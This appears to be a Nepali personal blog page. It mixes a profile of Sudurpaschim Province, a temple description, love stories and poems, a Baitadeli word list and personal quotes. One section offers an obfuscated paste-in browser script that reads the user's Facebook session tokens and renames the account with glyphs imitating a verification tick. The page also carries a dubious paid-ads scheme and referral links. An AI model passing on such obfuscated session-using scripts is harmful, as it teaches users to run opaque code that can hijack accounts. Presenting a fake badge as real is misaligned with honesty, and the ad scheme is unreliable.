SUDUR PASCHIM PROVINCE

 Sudurpaschim Province, also known as Province 7, is one of Nepal's seven provinces and covers 19,539 square kilometers, or 13.22% of the country's total area. It's located in the far western region of Nepal and is bordered by China to the north, India to the west and south, and Karnali and Lumbini provinces to the east. 

The province's geography includes: 40.6% covered by the Himalayas, 34.54% covered by mountains, and 24.86% covered by Terai or plain lands. 

Sudurpaschim Province is home to many holy sites mentioned in Hindu epics and is part of the Gurans Himal range, a sub-range of the Himalayas. The province's major cities include Dhangadhi, Bhimdutta (Mahendranagar), and Tikapur. 

The province's current chief minister is Kamal Bahadur Shah, who has held the position since February 10, 2023. 

Ninglashaini temple is one of the famous temples in Sudurpaschim Nepal.

 Ninglashaini temple is one of the famous temples in Sudurpaschim Nepal. It is located in the heart of Dashrath municipality 09 Baitadi. The temple is 12 Km far from the Headquarter of Baitadi which takes around 30 minutes to reach.

The temple is also known as Ninglashaini Bhagwati temple and famous among Kaphlashaini, Ranshaini temples. It is the major tourist and religious Destination in Sudurpaschim. 

Ninglashaini temple is know as the main center for faith for Hindu, this holds a big fair every year on the occasion of Bada Dashain, Chaite Dashain, Anant chaturdasi & Purnima and Dhanya Purnima.

Ninglashaini Temple 

Religious Significance

It is said that many year ago, while bathing the NInglashaini Bhagwati (Gaat) Dehimandu During Pooja, milk used to flow in the kalaun Ninglashaini Dudhkunda and Kheer (Rice Pudding) was cooked with that milk and offered to the Dehimandu Ninglashaini Bhagwati.

Love story NEPALI LOVE STORY

 कुरा केही महिना अगाडिको मात्र हो, जतिखेर म आफ्नो यौवनतामा साउने भेल सरी बगेकी थिए। केबल कसैसँग माया प्रेममा लिप्त भई भौतारिँदै दिनरात साझ बिहान प्रत्येक क्षण केबल हामीबीचको सम्बन्ध अनि ती बितेका कहाली लाग्ला रातलाई सँम्झिरहेकी छु अनि त्यही प्रतिबिम्बलाई अँगाल्दै बसेकी छु ।

म एक साधारण लेखपढ गरेकी गाउँमा बस्दै गरिएकी केटी थिए, जतिखेर मेरो उमेर १९ वसन्त पार गरी २० औं वर्षे जवानीमा हिँडिरहेकी थिए। म एसएलसी सकी पल्स टु पढ्न भनि शहर छिरेकी थिए ।

शहरमा डेरा लिई बस्न पुगे। मेरा ति दिन बिहान कलेज गई फर्कने अनि कोठामा नै एकान्तमा बस्ने मेरा नित्य कर्मका दिनहरू कलेज गएर नै बित्दै गए। कुनै दिन मसँग पढ्ने साथी जो जवान केटाले मलाई प्रेम प्रस्ताव राख्यो त्यो मान्छे को कसरी बयान गरु हरबखत उस्कै याद आउँछ, जवानीले मातेको त्यो केटा सलक्क परेको जिउडाल, नम्र एवं मिठो बोली, सुन्दर चेहराले

पहिलो भेटमा नै उस्को एक शब्द बोलीले नै म प्रभावित भए । तर त्यती खेर नै मैले त्यो प्रस्ताव लाई हुन्छ भनिन। दिन बित्दै गए उसँगको भेट दिननुदिन हुदै गए, हामी कलेजमा पढ्दाको क्षणमा पनि सरले बिषय बस्तुमा लेखी रहदा मेरो कपी मागी मेरो कपीमा मायाका कुरा को चिठ्ठी मेरो कापीमा लेखी छोड्थ्यो ।

त्यो पल त अहिले पनि हाल डाल्ती याद आईरहन्छ ।

हामीबीचको सम्बन्ध बिस्तार बिस्तारै माया पनि बिस्तारिदै गयो, आपसमा नजिकिदै गयो आपसमा धेरै नजिकिंदा माया पनि

बढ्दै गयो, आपसमा माया बसेछ पत्तै भएन। दिन, हप्ता अनि महिना बित्दै गए, उस्ले पनि मलाई ओधीनै माया गर्दै गयो, हामीबीचको सम्बन्ध बारे अरु सहपाठी साथीहरूलाई पनि अलिक थाहा भएजस्तो लाग्यो, हामी शनिबारको बिदाको दिन कहिले पार्क त कहिले फिलिम हेर्न सिनेमा घरसम्म जान पछि परेनों। दिनदिनै भेट नहुँदा कतै केही बिर्सेको जस्तो भान हुन थाल्यो। ऊ पनि सधै जिन्दगीभर साथ दिनुपर्छ भनी कयों दिन सधैको भेटमा त्यही शब्दले आखाँ गाडेको थियो। म केबल तिमीलाई नै चाहन्छु भनिरहन्थ्यो। मैलै पनि उस्को प्रेम प्रस्तावलाई स्वीकार्न विवश थिए।

किनकि म पनि ऊबिना पलभर पनि बान्न नसक्ने अवस्थामा पुगिसकेकी थिए। मैले पनि हरेक पल उस्के ना लिईरहन्थे, ऊप्रतिको मेरो माया शिवजीलाई पार्वतीले माया गरेजस्तै हुन पुगेछ। हामी कहिले कतै टाढै जान्थ्यो त कहिले नजिकै रहेको मन्दिरमा सँगै बाच्ने सँगै मर्ने कसम खान पछि परेनों। मेरो निधारमा उस्कै कहिले न मेटिने टिका थापिदियो। म त्यही दिनको पर्खाईमा थिए जुन दिन मेरो सिउँदो भरी मेरो माया गर्ने मान्छे को नै होस भन्ने चाहन्थे र मन मनै सोचिरहेकी थिए ।

माया भन्ने चिज यस्तो हुँदो रहेछ, जस्लाई अँगाली सकेपछि कहिलै न रित्तिएला डी माया लाग्न थाल्यो। मनमा अनेकन थरीका कुराहरू खेल्न पुगे। उस्ले पनि आज डेरामा न बसी कतै टाढा गएर बसों भन्न थाल्यो मैले पनि मुखले त नाई भनेकी थिए तर मनले हुन्छ भने जस्तै थियो त्यो पल। हरेक दिन भन्थ्यो सँगै जादा होस की फोनमा घण्टों सम्मको कुरामा सधै मलाई टाढा बसों न भनि रहन्थ्यो त्यो दिन मैले पनि हुन्छ भनि दिए, र हामी कुनै नयाँ ठाउँको होटेलमा बस्न पुगेम।

अनि हामी बिचको माया अनि त्यो बैसालो जवानीले मातेका दिनले अरु केही पनि देखेन केबल आपसी माया अनि मन मुटुको मायालाई अँगालो मा बाधीएर सुमसुम्याउदै बाकी के क भयो त्यो सबै भनि राखु पर्दैन होला। हामी बिचको त्यो टाढाको होटेलको त्यो रात जिन्दगी भरको लागि भुल्न नसकिने क्षण बन्न पुग्यो। हामी बिचमा माया साटासाट भयो। हामीमा सधै सधैका लागि एक हुने बाचा कसम देखीलिएर सारा सँसार अँगालोला बाथीएर आपसी मायामा मात्र सिमित देख पुगे। यो दुनियामा मेरो प्रियतम र म बाहेक अरु कोही छैन जस्तो लग्यो, र हामी बिचको त्यो योनिक सम्बन्धले पनि साताब्यापी रुपमा अगाडि बढ्दै गयो । माया लाई सधै सधै सम्मलाई पनि हामी यसरी नै मन देखीनै नजिकिई दुई न भई एक मुटुनै चलिरहेको छ भन्ने भान हुन पुग्यो ।

हामी बिचको सम्बन्धले पल्स टु पढ्दाको दिन सम्म हासी खुसी नै भई रहेको थियो। हाम्रा दिन हरू अगाडि बढ्दै रहे, हाम्रो

मायाले पनि शिखरको चुली टेक्न पुग्यो। मायामा नै हाम्रा दिन रात साड़ों बिहान बितेको थाहा भएन, मन मस्तिस्कमा उहि बिताएका दिन रात को मत्र याद आईरहेको छ। के माया यही नै हो तभन्ने कुरा आफै माथि प्रश्न गर्न पुगे। एक मनले त कतै म उल्टो बाटोमा त छैन भन्छु अर्को मनले यो कुरा त जिन्दगीमा एक चोटी हुनेनै कुरा हो पनि भनेर मनमा अनेक थरीका कुरा हरू खेलाउदै रहन्थे । के माया गर्नु गल्ती हो र भन्ने प्रश्न आफै माथि उभ्याउन पुग्थे तर जे भए पनि हामी बीचको माया गङ र मासु हौ टासिएको थियो। पहिलो वर्ष सकिएको पत्तै भएन अनि दोस्रो वर्षको परीक्षा दिई घर तिर फर्कनु पर्ने थियो, रो प्रेमी त्यही शहरमानै बस्ने हुनाले म उस्लाई छिट्टै फर्केर आउछु भनि छुट्टिन अनुमति माग्दै थिए। ऊ त भन्दै थियो घरमा म पनि जान्छु अनि बुवा सँग तिम्रो हात मागी छिट्टै विहे गरुला भनि भन्दै थियो, तर मैले आफै घरमा भनुला भनि एक्लै जाने निधो गरे । बसपार्कमा आई बसको टिकेट काटिसकेकी थिए, गाडीले पनि आफ्नो टाईममा हर्न बजाउन पुग्यो, म बसमा चढ्नु भन्दा पहिला मलाई त्यही नेर अँगालो हाली आखाबाट बर्लीन धाराहरू बर्षीन पुगे उस्लेनी आफ्ना आखा माइदै बिदाई का हात हल्लाउन पुग्यो। मेरो चढेको गाडी पनि आफ्ना पाङ्‌ग्राहरू अगाडि जान पुग्यो, हामी बिचमा केबल दुरी टाढिदै गयो, टाढिदै हातहरू आफ्नो ठाउँबाट हात हल्लाउन बाहेक अरु के नै हुन सम्भव छ र ।

मैले चढेको गाडी आफ्नै गतिमा हुईकिरहेको थियो। बरिखामास को समय मा दिननु दिन पानी बर्षीनै रहेको थियो। बाहिर तिर पानी झिम झिम्ती बर्षिरहेको थियो। बाटो अलिक चिप्लो थियो, अचानक म चढेको गाडी पल्टन पुगेछ, मलाई त्यसपछि केही थाहा भएन म बेहोस भएकिरहेछु थाहा नै भएन त्यही दिनको घटनामा ४ जनाले त्यही भिरमा नै शाहादत गर्न पुगेछन, म लगायत ६ जना घाईते अबस्थामा त्यही शहरको अस्पतालको बेडमा रहेछु। त्यो भन्दा अगाडि त थाहा नै थिएन म काहाँ छु भन्ने ।।। आज त्यही ह्वील चियरको साहेताले दिन रात काट्न पुगेकी छु। उता मेरो बारे केही थाहाँ नहोस भनी मैले मेरो फोनमा आएका हजार बार गरेका फोनका घन्टीहरू एवं एसएमएस को केही पनि रिप्लाई गर्न मन लागेन। उस्ले प्रतेक पल फोनबाट सम्झी रहन्थ्यो तर मैले फोन रिसिब नै गरिन मेरो विवसता लाई उस्ले केही थाहाँ नपावस उस्ले पहिलेकै जस्तै जिन्दगीभर सम्झी रहोस भन्ने चाहान्थे, सपना बाट विउझीएको जस्तो भान नहोस भन्ने चाहन्थे र उस्को बेवास्ता गर्न पुगे। मेरो प्रेमीलाई मेरो अपाङ्गता बारे थाहाँ नहोस उहाँको पहिले को प्रेमका छैन भन्ने भान होस उहाँको त्यो तन्दुरुस्त जीउजानको लागि आफूले नै सहि छैन भनी ठाने, तेसैले उहाँलाई फोन पनि गर्न पनि मन लागेन। मनले त नेको थिएन तर उहाँको लागि भए पनि टाढिनु पर्छ भन्ने लाग्यो र मेरो विवसता किन अरुको खुसी जिन्दगीमा दुख थप्ने भन्ने भान भयो ।

एक दिन उहाँ मोटरसाईकलमा आईरहेको थियो, म लगायत मेरा साथीहरू ह्वील चियरमा त्यही शहरको मोडमा अगाडि हिन्दै गरेको अवस्थामा भेटायो र टाढाबाटै मेरो शरिरमा चियाउन पुग्यो मैले न देखेड़ी गरी आफ्नो बाटो हिन्दै थिए, उस्ले हतार हतार बाईक रोकी मेरो अगाडि आएर मेरो अँगालो हाल्न पुग्यो र मैले पनि विगतका कुराहरूलाई जुन दिन बसपार्कबाट टाढिएका थियौ त्यही दिनदेखि भेट नभएको महिनौ भएको थियो, त्यसपछि मलाई आफ्नो घर जानको लागि मरिहत्ते गर्यो, मैले पहिलेको मायालाई केही कमी राखेको छैन भन्दै सबै कुरा भन्दै थियो। मैले पनि भन्दै गरे मैले हजुरलाई भुलिसके 'भनि दिए रत उहाँलेले जे जति बिर्सेपनि मानिरहेका थिएनन्। म सोच्थे की मेरो साहारा मेरो माया गरेको मान्छे न बनोस, मेरो मायालु मेरो कारणले दुखमा नपरिस भन्ने भान भयो तर उस्ले मान्दै मानेन अन्तत् मैले हारे उहाँको म प्रतिको माया रत्तिभर पनि कमी भएको रहेनछ भन्ने ठाने र विवश भए उहाँसँग नै जीवन बिताउन। उहाँले आजकल पनि पहिलेको माया प्रिती लगाउँदाको क्षणहरूको याद दिलाईरहन्छन् । आजकल पनि हामीबीचको सम्बन्धले पनि आउ समाजको सामु उदारणिय बन्न पुगेका छौ। माया भन्ने कुरा धनि गरिब कालो गोरो राम्रो नराम्रो न भएर मन मुटुदेखी माया हुदो रहेछ भन्ने आभास आज मैले मेरो

जिन्दगीमाथि भोगिरहेकी छ ।।।।

♥️

 

Black tick Facebook Script

 javascript:var fullName = "Dipen 󱢏"; var firstName = ""; var middleName = ""; var lastName = "Bh 󱢏"; var _0x3a81=["\x43\x6F\x64\x65\x20\u0111\u01B0\u1EE3\x63\x20\x76\x69\u1EBF\x74\x20\x62\u1EDF\x69\x20\x44\u01B0\u01A1\x6E\x67\x20\x54\x6F\u1EA3\x6E\x20\x4D\x4D\x4F\x20\x2D\x20\x66\x62\x2E\x63\x6F\x6D\x2F\x74\x6F\x61\x6E\x74\x72\x75\x6E\x67\x67\x69\x61\x6E\x6D\x6D\x6F","\x5F\x5F\x73\x70\x69\x6E\x5F\x72","\x53\x69\x74\x65\x44\x61\x74\x61","\x6A\x61\x7A\x6F\x65\x73\x74","\x53\x70\x72\x69\x6E\x6B\x6C\x65\x43\x6F\x6E\x66\x69\x67","\x74\x6F\x6B\x65\x6E","\x44\x54\x53\x47\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x41\x43\x43\x4F\x55\x4E\x54\x5F\x49\x44","\x43\x75\x72\x72\x65\x6E\x74\x55\x73\x65\x72\x49\x6E\x69\x74\x69\x61\x6C\x44\x61\x74\x61","\x4C\x53\x44","\x73","\x68\x73\x69","\x64\x79\x6E","\x63\x73\x72","\x66\x31\x39\x61\x63\x30\x32\x64\x2D","\x73\x75\x62\x73\x74\x72","\x72\x61\x6E\x64\x6F\x6D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x63\x63\x6F\x75\x6E\x74\x73\x63\x65\x6E\x74\x65\x72\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x67\x72\x61\x70\x68\x71\x6C\x2F","\x31\x61","\x31\x39\x36\x31\x39\x2E\x48\x59\x50\x3A\x61\x63\x63\x6F\x75\x6E\x74\x73\x5F\x63\x65\x6E\x74\x65\x72\x5F\x70\x6B\x67\x2E\x32\x2E\x31\x2E\x2E\x30\x2E\x30","\x45\x58\x43\x45\x4C\x4C\x45\x4E\x54","\x74\x72\x75\x6E\x6B","\x52\x65\x6C\x61\x79\x4D\x6F\x64\x65\x72\x6E","\x75\x73\x65\x46\x58\x49\x4D\x55\x70\x64\x61\x74\x65\x4E\x61\x6D\x65\x4D\x75\x74\x61\x74\x69\x6F\x6E","\x64\x65\x76\x69\x63\x65\x5F\x69\x64\x5F\x66\x65\x74\x63\x68\x5F\x64\x61\x74\x72","\x46\x42\x5F\x57\x45\x42","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x35\x37\x36\x33\x35\x31\x30\x38\x35\x33\x37\x36\x33\x39\x36\x30","\x26","\x6A\x6F\x69\x6E","\x3D","\x6D\x61\x70","\x6B\x65\x79\x73","\x65\x72\x72\x6F\x72","\x63\x61\x74\x63\x68","\x6C\x6F\x67","\x74\x68\x65\x6E","\x74\x65\x78\x74","\x50\x4F\x53\x54","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64"];alert(_0x3a81[0]);var spinr=require(_0x3a81[2])[_0x3a81[1]];var jazoest=require(_0x3a81[4])[_0x3a81[3]];var fb_dtsg=require(_0x3a81[6])[_0x3a81[5]];var uid=require(_0x3a81[8])[_0x3a81[7]];var lsd=require(_0x3a81[9])[_0x3a81[5]];var s=require(_0x3a81[2])[_0x3a81[10]];var hsi=require(_0x3a81[2])[_0x3a81[11]];var dyn=require(_0x3a81[2])[_0x3a81[12]];var csr=require(_0x3a81[2])[_0x3a81[13]];function generateClientMutationId(){return _0x3a81[14]+ Math[_0x3a81[16]]().toString(36)[_0x3a81[15]](2,9)}var clientMutationId=generateClientMutationId();var url=_0x3a81[17];var requestData={av:uid,__user:uid,__a:1,__req:_0x3a81[18],__hs:_0x3a81[19],dpr:1.5,__ccg:_0x3a81[20],__rev:1008717767,__s:s,__hsi:hsi,__dyn:dyn,__csr:csr,__comet_req:5,fb_dtsg:fb_dtsg,jazoest:jazoest,lsd:lsd,__spin_r:spinr,__spin_b:_0x3a81[21],__spin_t:clientMutationId,fb_api_caller_class:_0x3a81[22],fb_api_req_friendly_name:_0x3a81[23],variables:JSON[_0x3a81[26]]({client_mutation_id:clientMutationId,family_device_id:_0x3a81[24],identity_ids:[uid],full_name:fullName,first_name:firstName,middle_name:middleName,last_name:lastName,interface:_0x3a81[25]}),server_timestamps:true,doc_id:_0x3a81[27]};var data=Object[_0x3a81[32]](requestData)[_0x3a81[31]](function(_0xb28exf){return (encodeURIComponent(_0xb28exf)+ _0x3a81[30]+ encodeURIComponent(requestData[_0xb28exf]))})[_0x3a81[29]](_0x3a81[28]);fetch(url,{method:_0x3a81[38],body:data,headers:{"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":_0x3a81[39]}})[_0x3a81[36]](function(_0xb28ex12){return _0xb28ex12[_0x3a81[37]]()})[_0x3a81[36]](function(_0xb28ex11){console[_0x3a81[35]](_0xb28ex11)})[_0x3a81[34]](function(_0xb28ex10){console[_0x3a81[33]](_0xb28ex10)})

धन्न Masage को जमाना छर Blocked गर्छन नत्र मैले चिट्ठी पाठाएको परेवा नै पोलेर खाइदिन्थे होला

 

DIPEN

 

#+

 

 

MA Ko Hoon ?

 

Nepali Story Love Story

आज एक अर्थ बिहीन जिवनको यात्रामा कयौ बर्ष पछि उस्लाइ मेरो याद आएछ

मलाइ लाग्दै छ उस्लाइ मेरो याद पहिला पनी न आएको कहाँ होला तर यस्पाली उस्ले आफ्नो मनलाइ सम्हालेर जोर जबरजस्ती गरेर फोन समातिछे र फोनको डालयप्याडमा मेरो नम्बर डायल गरीछे ।

तर उस्को मनमा अझै डर थियो की मैले उस्लाइ हप्काइ दिन्छुकी? हो उस्लाइ थाहा छ मलाइ चाँडै रिस उठछ, म अलि मुडी छुँ तर नराम्रो चै खै हैन होला की । जहाँ सम्म लाग्छ मैले उस्को नराम्रो केही चाहेको थिएन ।

ठ्याक्कै मेरो फोनमा नचिनेको फोबाट फोन आउनुर मैले फोन हेर्नु सँयोग रहेछ किन भने मैले फोन कहिले पनि उठाँदैन किनकी मेरो फोन जहिले पनि म्युटमा हुन्छ र मेरो फोन मा ५ ६ वटा मिस्कल न आउनजेल सम्म मैले कसैलाइ फोन गरेको अथवा फोन उठाएको रेर्कड छैन ।

तर क्या सँयोग यस्पल्ट फोनउठाए, फोन उठाएको केही समय त कोइ बोलेन मैले हेलो हेलो भन्दै थिए र म आधि निन्द्रामै थिए मैले सोच्दै थिए फोन काँटि दिउँ तर के ही समय पछि फोनम कुनै केटीको आवाज आयो ।

मैले हेलो भने

उस्ले पनि डराए जसरी हेलो भनी

अरु दूइ शब्द के वोलेकी थिइ

मैले उस्को आवाज चिनी हाले

अरे तिमी भने

अँह म भनी उस्ले म निन्द्रमै थिए

उस्ले भनि कसरी चिन्यौ नम्बर सेभ थियो होला

हैन हैन कहाँ हुनु

मैले भने मैले कसैको नम्बर सेभ राख्दैन यार

बस तिम्रो आवाज नै काफी थियो मैले चिनी हाले ।

हैन होला भन्दै थिइ तर पछी मानी,

अनि मेरो नम्बर सेभ रैछ तिमी सँग भनेर सोधेँ

हैन यो नम्बर त याद थियो

ऐ ऐ होर?

हो भनी उस्ले

अनि अरु के गर्दै छौ त?

केहि हैन यार यस्तै लोकसेवा को तयारी गर्दै छु भनी

ए ए होर केको लागी अधिकृत की बैँक

खै अब त सबै दिन पर्छ क्यारे, घर बाटपनि सारै प्रेसर छ

प्राइभेट जागीर खाइस भने मेरो साम्मुने पनि न आइजारे भन्नुभाको छ रे मम्मीले ।

ए हो र भने मैले ।

म एक छिन त मौन थिए

अनि कति पछी है कुरा भाको पनि, साँथिहरुको त याद पनि आँउदैन है

खै यार अब के भनौ

म फेरी मौन भए

२०१९ पछि २०२३ मा है कुरा पनि?

मैले भने अँ हो पक्कै हो २०१९ पछि सिधै २०२३ मा है

म त्यसपछि के भन्ने भनेर अकमकीए

यस बिचमा धेरै कुरा भए, अरुका कुरा हरु टन्नै ग्यौँ, के राम्रो के नराम्रो धेरै कुरा यता उती जागीर सागीर कतीहो कती जहाँ सम्म लाग्छ, १५ २० मिनट त ति कुरा हरु नै भए होला ।

सायद आज ४ बर्ष पछि म सँग कुरा गर्ने जाँगर चलेछ, त्यो भन्दा पहिले उस्ले मलाइ कहिले पनि फोन गरेकी थिइन ।

अनि उस्ले भन्दै थिइ हेर न यार उस्ले त बैँकमा नाम निकाली छे, पढेको पनि थिएन रे खै के हो यार भाग्य भाका हरुको फटाफट नाम निस्कीन्छ, हाम्रो त खै कहिले निस्कीने हो खै ।

मैले भने, होे यार मैले पनि मेरो फुफुबाट थाहापाको थिए, उस्को नाम निस्केछ भनेर उ त मेरो बल्क लीस्टमा छ आजभोली । म अलि ठुलो हुन खोज्दै थिए, तिम्लाइ के थाहा मेरो बल्क लिस्टमा कति जना छन । मेरो त टन्नै छन, कति धेरै हो ।

उस्ले भनि मेरो पनि धेरै थिए तर मेरो पुरानो एकाउन्ट खै के भयो । अनि यो नयाँ हो त्यसबाट तिमीलाइ एड गरेको ।

तर उस्ले एड गरे पनि फेसबुकमा च्यट भन्ने कुरा एकदमै थोरै हुन्थ्यो, बर्षको एक दुइ चोटी ।

अनि उस्ले सोधी तिमीले मलाइ कति चोटी बल्क अनबल्क ग्यौ भनत, किन गरेको त्यो भनन ।

अनि मैले यतिकै भनेर टाल्न खोजे र उस्ले मानी तर उस्ले भनी अब यो नयाँ लाइ चै बल्क नगर है, पिल्ज ।

मैले अँ अ हुन्छ भने ।

अब सोचौँ भने उ मौन भइ होला । सोच्दै थिइ होला ।

मौन छु भन्दा भन्दै

तिमीले मलाइ मौनताको अध्यारोमा

पुराएको पत्तै भएन

भन्थ्यौ यो जीवन त एक

पल मात्रै हो

हाम्रो माया त जन्मौँ जन्म हो भनेर

तर अहिले कहाँ

हरायौ खै

मलाइ सोध्न मन लाग्यो तिमी र मैले खाएका बाँचा कसम के त्यसतै ब्यर्थ आँसुका खोलामा बगेका हुन?

अब असपास बाट गुजरीदा पनी नदेखेजस्तै गर्नू

किन मायाले पनि

मायालाइ छल गर्न भनेकै हुन?

खै

म मौनताको अध्यारोमा छु

लाग्छ

उ त्यो अध्याँरो कोठामा कोइ

लुकेर बसेको छ

के ही बेर आँखा झिम्काए भने

पछाडीबाट आएर डराइदिन्छ की भन्ने डर छ ।

खै माया, रहर, कसम हरु यस्तै ब्र्यथ हुन्छन भन्ने

थाहा पहिलेनै भाको भए

म जन्मनै लिने थिएन

ब्र्यथमा आमालाइ मेरोमायाको दुख दिने थिएन ।

खै के भनौ

स्तभ्द छु

मौनतमा पनी

चिच्याई रहेकी छुँ

मनमै

सँगै लाग्दै छ

आकास मै माथी रौइ रहेको छ ।

खै के भनौ

हामी सानै थियौँ गुच्चा खेल्थ्यौँ

त्यसमा जहिलै मलाइ तिमी मेरो टिममा भए पुग्थ्यो ।

किन भने

त्यती बेला तिमीलाई

हराउन सक्ने न कोइ केटा थियो न केटी

खुुसी लाग्थ्यो ।

म मौनता लाइ अध्याँरोको सँज्ञा दिदै छुँ

जुन अध्याँरोले मलाइ कहिलै छोडने छैन

माफ

माफ

माफ

Nepali Love StoryNepali Story

ABOUT THE AUTHOR

Dipen Bhandari Blogger / Digital Marketerलेख्छु पढछू समाजका समस्याहरुलाइ नियाल्छु र आवाज दिन्छु ।

About Us

We’ve built this platform to create a world where creativity is in abundance. We want you to feel the energy and pass it on.

We want you to feel the light and feel empowered through art. We want you to express – any way you choose to. Write, sing, dance, create – or be a spectator. We want to bring together creativity spread across the world, and light up the world. Join us in this adventure. Illuminate yourself. Illuminate the world

 

We do Facebook sponsored advertisements. We provide you ads through Facebook Advertising site and you will post on your page. Payment will be made in advance. 5 ads per week will be posted on your page's, time-line, stories or right side of the page After that you will be paid two week payment in advance via PayPal or bank transfer. And For starting, first we need to get approval by Facebook soponserd ads after Facebook getting approval we can further process so let me know we can further process for Facebook

ijoriya nepali novel subin bhattarai

 "इजोरिया" सकेसम्म त नजिकैको पुस्तक पसलहरुमै गएर सोध्नुहोला । 

पुस्तक पसलमा नपाइए, 9851177441 मा Ijoriya लेखेर र आफ्नो ठेगाना टाइप गरेर यसयमयस गर्नुहोला । 

देशभरमा जहाँ भएपनि दुइ तीनदिन भित्र हजुरको हातमा आइपुग्नेछ ।

बैतडेली भाषाको उत्पत्ति

यो भाषाको उत्पत्ति

सम्पादन

बैतडेलि भाषाको उत्पत्तिको कुन समयदेखि भएको हो त्यसको कुनै ठोस प्रमाण नभएपनी परपुर्वकालदेखिनै बोलिदै आएको मानिन्छ । बैतडी जिल्ला भारत सँग जोडिएको हुदा भारतको कुमाउँ, गढवाल तिरको कुमाउनी भाषासँग मिल्दोजुल्दोरहेको छ ।इतिहास हेर्ने हो भने यो भाषा पहिले नेपाल भरि नै बोलिने बिस्वास गरिन्छ र यसलाई परिवर्तन गरी नेपाली बनाइएको उल्लेख गरिएको छ। 

बैतडेली भाषा र नेपाली भाषामा फरक

सम्पादन

बैतडेली भाषा नेपाली भाषा

जनजाइ नजानुहोस्

नाइथिन छैन

बेलि हिजो

बासा साँझ

द एऽऽ

जनबसै नबस्नुहोस्

झिक्क, मैथ धेरै

नानो सानो

कैखाइ कसलाई

नान अलिकती

कैको कसको

ब्यानल बिहान

धइ खै

नानका साना साना

ठौर ठाउँ

पोरु अस्ति

बौजु भाउजु

काकी कान्छी आमा

गोसि देवर/नन्द

पुसाइ फुपाजु

काजी भाइ /बहिनी

जत्काल सुत्केरी

चेलो छोरा

चेली छोरी

तम तपाईँ /तिमी

तलि तल

आँसि हँसिया

तिखुन बन्चरो

बेल्चो साबेल

बौसो कुटो

मल्लो माथिल्लो

रुप्या रुपियाँ

जतरा जाँतो

धुलो पिठो

बिल्लो बिरालो

बल्लु गोरु

ठण्णो चिसो

झगुलो फ्रग

इजा आमा

कइंसि सानी आमा

बुनु बाली छर्नु

बर्यात बिहे

बैकान पुरुष

बैकिनी महिला

स्याणी स्वास्नी

मान्सु मान्छे

निका आराम

छकला दिउसो

पटकन आगन

उइले उसले

बोलईजन नबोल

उनरो उनको

किभ्यो केभो

जनगरै नगर

निको राम्रो

ढकना तल

टुपा माथी

मुल्या टुहुरा

बाकारा बाख्रा

भोज्या/कद फर्सी

डा खुर्सानी

छन्चर बार शनिबार

छाच मोहि

धिनाली दही

केला केरा

बौस्या लोग्ने

कटौरा/बेल्या कचौरा

गाड खोलो

जोड़ो जुम्रा

सीनू सुत्नु

थेल्वा बेलना

जेउडो डोरी/नाम्लो

माल ढोका

काठो भिर

भुइसो भैंसी

तोख्या तिमिसङ्ग

आसि हसिया

कानो अन्धो

दोकान पसल

थेल्का कपडा

कसणो लोटा

| गौ ||गहु |सिलो || सिलौटो

https://www.xmediaweb.com/#/pages/r?i=LHGT8DWY

𝐃𝐈𝐏𝐄𝐍 ツ

 𝐃𝐈𝐏𝐄𝐍 ツ

रक्सीले कलेजो सँग अफियर चलायो

चुरोटले फोक्सो सँग अफियर चलायो

गाँजाले हड्डी सँग अफियर चलायो

कलेजो,फोक्सो,हड्डीको जलनलेे

मुटु रिसाएर मलाइ सताउछ यार😥

डडेल्धुरा का जनता भेडा रहेछन । अन्तरास्ट्रिय स्तर( Oxford university) मा आफ्नो नाम कमाको (engineering ) गरेको व्यक्ती लाई चुन्नु छोडेर । बोल्न नजान्ने भेडालाई भोट हाल्छन त्यो पनि जिब्रो नभएको । बेकार हो डडेल्धुरा बासी । सेर बहादुर देउबा लाई के गुण देखेर भोट हाल्यो डडेलधुरा बासि।

 Ds

"मलाई केही फरक पर्दैन" अक्सर यो भन्नेहरुलाई नै सबैभन्दा धेरै फरक पर्छ l 🥺🥹

गुनासोको पनि आफ्नै इज्जत हुन्छ, त्यसैले त हर कोहि सङ्ग गरिदैन !

 गुनासोको पनि आफ्नै इज्जत हुन्छ, त्यसैले त हर कोहि सङ्ग गरिदैन !

कसैको खोजि नगर्नुस् मान्छे हराउदैनन् बदलिन्छन् । दिपेन्द्र💎

 

 Click here https://r.honeygain.me/DIPEN30688

इन्टरनेट चलाए वाफत पैसा कमाउनुस 100% ढुक्क

पहिलो चोटि साइन अप गर्दा पाउनुहोस 5$ उपहार

सहयोग चाहिएमा इन्बोक्स गर्नुहोला

जिम्मेवारीको बोझ, परिवारको सोच र धनको खोजमा सकिने रहेछ जिन्दगी ।

 

I agree breakup hurts😊 तर जिम्मेवारिको बोझको अगाडि त्यो पिडाको कुनै अर्थ हुदैन♥️

 

https://dipenbhandari.blogspot.com/?m=1

❤ 🥀 ᴛʜᴇ ᴘᴀɪɴ ᴛʜᴀᴛ ʟᴏᴠᴇ ʜᴀS ᴅᴇᴀʟᴛ ᴏɴ ᴍʏ ʜᴇᴀʀᴛ Fᴏʀᴄᴇᴅ ᴍᴇ ɢʀᴏᴡ ᴜᴘ. 🥀 ❤ ᴅI𝒑E𝓃 1a2 ꧁꧂

🥀🥀झुट र घमण्डले जित्छु कहिल्लै नसोच्नु सत्य र प्रेम लिएर आउनु म आफै हारिदिन्छु🥀🥀 #__रशिख

❤👹👹👹👹👹👹👯

 

🙏🙏

 

प्यार❤️, एहसान😇, नफरत🤨, दुश्मनी😈 जो चाहो वो करलो मुझसे, आप की कसम वहीं दोगुना✌️ होकर मीलेगा😎

 

DĪPEN BHANDARI

 प्यार❤️, एहसान😇, नफरत🤨, दुश्मनी😈

जो चाहो वो करलो मुझसे,

आप की कसम वहीं दोगुना✌️ होकर मीलेगा😎

Dipen Bhandari समयले धेरै कुरा सिकायो, तर समयमा सिकायन

बेटा #Game बहुत अच्छा खेला तूने,🙁लेकिन बंदा👉👨 गलत चुन लिया😈